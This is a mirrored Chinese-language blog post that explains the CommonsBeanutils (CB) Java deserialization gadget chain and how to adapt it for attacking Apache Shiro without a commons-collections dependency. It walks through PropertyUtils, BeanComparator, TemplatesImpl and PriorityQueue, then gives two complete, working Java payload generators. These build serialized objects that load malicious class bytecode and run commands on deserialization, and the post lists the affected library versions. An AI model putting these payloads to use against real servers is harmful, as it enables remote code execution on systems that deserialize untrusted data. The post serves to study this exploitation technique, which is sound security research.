2

CommonsBeanutils反序列化

 1 year ago
source link: https://ethe448.github.io/2023/04/27/CommonsBeanutils%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

CommonsBeanutils反序列化 | Ethe's blog

Ethe's blog
Never really desperate, only the lost of the soul.

本来是在学shiro 的,发现shiro无依赖反序列化需要用CB链,所以就先学一下CB链

commons-beanutils 是 Apache 提供的一个用于操作 JAVA bean 的工具包。里面提供了各种各样的工具类,让我们可以很方便的对 bean 对象的属性进行各种操作。

<dependency>
     <groupId>commons-beanutils</groupId>
     artifactId>commons-beanutils</artifactId>
            <version>1.9.2</version>
</dependency>

PropertyUtils

org.apache.commons.beanutils.PropertyUtils 类使用 Java 反射 API 来调用 Java 对象上的通用属性 getter 和 setter 操作的实用方法。这些方法的具体使用逻辑其实是由 org.apache.commons.beanutils.PropertyUtilsBean 来实现的。

这个类有个共有静态方法 getProperty() ,接收两个参数 bean (类对象)和 name(属性名),方法会返回这个类的这个属性的值。其实就是用反射的方式调用这个JavaBean里的get方法

//test.java
package org.cb1;
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;

public class test {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        Object a = PropertyUtils.getProperty(new javabean(), "a");
        System.out.println(a);

    }
}

//JavaBean
package org.cb1;

public class javabean {
    private int a = 22222;
    private String b = "aaa";

    public int getA() {
        return a;
    }

    public void setA(int a) {
        this.a = a;
    }

    public String getB() {
        return b;
    }

    public void setB(String b) {
        this.b = b;
    }
}

BeanComparator

BeanComparator 是 commons-beanutils 提供的用来比较两个 JavaBean 是否相等的类,其实现了java.util.Comparator 接口。

BeanComparator 在初始化时可以指定 property 属性名称和 comparator 对比器,如果不指定,则默认是 ComparableComparator 。

BeanComparator 的 compare 方法接收两个对象,分别调用 PropertyUtils.getProperty() 方法获取两个对象的 property 属性的值,然后调用 internalCompare() 方法调用实例化时初始化的 comparator 的 compare 方法进行比较。

image-20230428215653493
image-20230428215653493

下个断点调试一下可以看见它最终还是调用了JavaBean里的getxx方法

image-20230428215817191
image-20230428215817191

调用链(有CC依赖

TemplatesImpl类

CB链的反序列化链借助了CC3里提到的TemplatesImpl,通过动态类加载机制来执行恶意代码

回忆一下CC3的TemplatesImpl部分

从newTransformer方法

image-20230428221135879
image-20230428221135879

进入getTransletInstance

getTransletInstance还会有实例化的过程

image-20230428221154421
image-20230428221154421

然后再进入defineTransletClasses方法

在defineTransletClasses里调用了defineClass,实现加载类字节码并且实例化的目的

image-20230428222208457
image-20230428222208457

这就是CC3的利用

接下来让我们看看CB链里的利用

CB包里的调用

之前我们说过,PropertyUtils类的getProperty方法会调用JavaBean里的get方式,去读取相应的属性值

传参方式是PropertyUtils.getProperty(Object bean,String name);

但是在调用的时候,并不会去判断我们传入的这个name属性是否存在,也就导致,我们可以利用这个方法去调用任意的以get开头的公共方法

巧的是TemplateImpl类里正好有一个这样的类,公共的、以get开头,而且还调用了newTransformer(),(巧了这不是

image-20230430152923679
image-20230430152923679

所以通过这个可以直接进CC3的链

image-20230430153325553
image-20230430153325553

然后要去找哪里调用了getProperty方法

这里是BeanComparator里的compare方法

image-20230430153718143
image-20230430153718143

很简单的逻辑,property可以在初始化的时候赋值

image-20230430153804089
image-20230430153804089

反序列化的实现

这里又要涉及CC2的内容了

在CC2里,我们为了调用TransformingComparator的transform方法,从而调用TransformingComparator.transform方法找到了一条

在PriorityQueue类的siftDownUsingComparator方法调用compare的路线

虽然siftDownUsingComparator是私有的,但是在PriorityQueue类的readObject方法里调了heapify方法,heapify方法又调了siftDown,然后在siftDown里实现了对siftDownUsingComparator的调用

这条链在CB链里同样适用

唯一的问题就是在queue的赋值上

在CC2的时候,由于我们通过compare调用的是chainedTransformer,所以无论它的transform方法的参数输出的是什么,得到的都是我们设置的固定值,因此即使compare的两个参数都是空,也不会影响结果

而在CB链里,我们需要对compare的参数赋值,

image-20230430165153419
image-20230430165153419

从这里看出来o1和o2的值分别为x和c,

image-20230430165530043
image-20230430165530043

往前翻就能发现x的值就是heapify调siftDown的时候传的第二个参数

image-20230430165706622
image-20230430165706622

而c是在siftDownUsingComparator运算得到的

image-20230430165810775
image-20230430165810775

但其实根本上都是queue这个数组里边的内容

由于我们通过反射固定了size的值为2,所以这时候queue[i]其实就是queue[0]

queue[child]就是queue[1]

所以用反射赋值就行了

Field queue = objects.getClass().getDeclaredField("queue");
queue.setAccessible(true);
queue.set(objects,new Object[]{templates,1});

另外,这里也有另一种赋值方式

Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] objects = (Object[]) field.get(queue);
objects[0] = tmpl;
//数组类型的值,通过反射的get方式得到的是一个引用类型的值,因此修改这个引用类型的值,也就相当于直接修改这个数组变量的值

这里只让一个值为TemplatesImpl对象实例的原因一是执行命令执行一次就够了,不过更主要的就是执行完命令后compare会抛出异常被catch捕捉,也执行不了第二个命令了。

image-20230430170306273
image-20230430170306273

问:既然只执行一次命令,那queue这个对象数组只赋值一个行不行

答:不行,因为假设queue这个只有一个值,那么在序列化的时候就会抛出数组越界的异常

image-20230430170537544
image-20230430170537544
public class test {
    public static <T> void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, TransformerConfigurationException, NoSuchFieldException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Field name = templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"123");
        // _class赋值为null
        Field classField = templates.getClass().getDeclaredField("_class");
        classField.setAccessible(true);
        classField.set(templates,null);
        //加载恶意类的字节码
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://ctftools/ctfscript/javastudy/CC/src/main/java/org/cc3/cmd.class"));
        //转为二维数组
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
        //_tfactory赋值
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

//        Object transletInstance = PropertyUtils.getProperty(templates, "outputProperties");
        BeanComparator<Object> objectBeanComparator = new BeanComparator<>("outputProperties");
        PriorityQueue<Object> objects = new PriorityQueue<>(objectBeanComparator);
        Field size = objects.getClass().getDeclaredField("size");
        size.setAccessible(true);
        size.set(objects,2);
        Field queue = objects.getClass().getDeclaredField("queue");
        queue.setAccessible(true);
        queue.set(objects,new Object[]{templates,1});
        file.serialize(objects,"1.bin");
        file.unserialize("1.bin");

    }
}
PriorityQueue.readObject()
    BeanComparator.compare()
            PropertyUtils.getProperty()
                PropertyUtilsBean.getProperty()
                    TemplatesImpl.getOutputProperties()
cc 3.21 ~ 4.4
cb 1.90 ~ 1.94
其他版本没试

调用链(无依赖

刚才的调用链,虽然很完美,但实际上还是依赖了CC链

image-20230430174452638
image-20230430174452638

这里就算把maven项目里的cc依赖去掉也不会报错的原因就算cb本身就依赖着cc

image-20230430174544111
image-20230430174544111

但是在最开始的时候,我就提过本来是在学shiro 的,发现shiro无依赖反序列化需要用CB链,所以就先学一下CB链

因为shiro本身需要添加的依赖有

  1. shiro-core、shiro-web,这是shiro本身的依赖
  2. javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这两个依赖
  3. slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖
  4. commons-logging,这是shiro中用到的一个接口,不添加会爆java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory错误

可以看到并没有CC依赖,所以,我们在进行shiro反序列化的时候就需要考虑不存在CC依赖的情况

这时候可以发现在shiro的依赖中,还带着CB,所以我们就可以尝试用CB链去打shiro反序列化

image-20230430174950619
image-20230430174950619

但实际上,直接打是会报错的。

commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。

所以我们就需要找一个不需要依赖CC的CB链

我们先来看一下CB链中的哪一部分调用了CC的内容

image-20230430175631340
image-20230430175631340

就是BeanComparator里的这个构造方法,当我们只传入一个property的时候,就会默认调用CC中ComparableComparator类的getInstance方法

所以要实现无依赖,就需要避免使用这个构造方法,但是property是必传的,所以只能用这个构造方法了

image-20230430175830790
image-20230430175830790

我们需要找一个类,满足以下条件

  • 实现java.util.Comparator接口
  • 实现java.io.Serializable接口
  • Java、shiro或commons-beanutils自带,且兼容性强

这里我们找到的是处于java.lang.String类下的一个内部私有类CaseInsensitiveComparator类

image-20230430180042241
image-20230430180042241

所以现在的poc是

public class test {
    public static <T> void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, TransformerConfigurationException, NoSuchFieldException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Field name = templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"123");
        // _class赋值为null
        Field classField = templates.getClass().getDeclaredField("_class");
        classField.setAccessible(true);
        classField.set(templates,null);
        //加载恶意类的字节码
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://ctftools/ctfscript/javastudy/CC/src/main/java/org/cc3/cmd.class"));
        //转为二维数组
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
        //_tfactory赋值
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

//        Object transletInstance = PropertyUtils.getProperty(templates, "outputProperties");
        BeanComparator<Object> objectBeanComparator = new BeanComparator<>("outputProperties",String.CASE_INSENSITIVE_ORDER);
        PriorityQueue<Object> objects = new PriorityQueue<>(objectBeanComparator);
        Field size = objects.getClass().getDeclaredField("size");
        size.setAccessible(true);
        size.set(objects,2);
        Field queue = objects.getClass().getDeclaredField("queue");
        queue.setAccessible(true);
        queue.set(objects,new Object[]{templates,1});
        file.serialize(objects,"1.bin");
        file.unserialize("1.bin");

    }
}
image-20230430180306528
image-20230430180306528

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK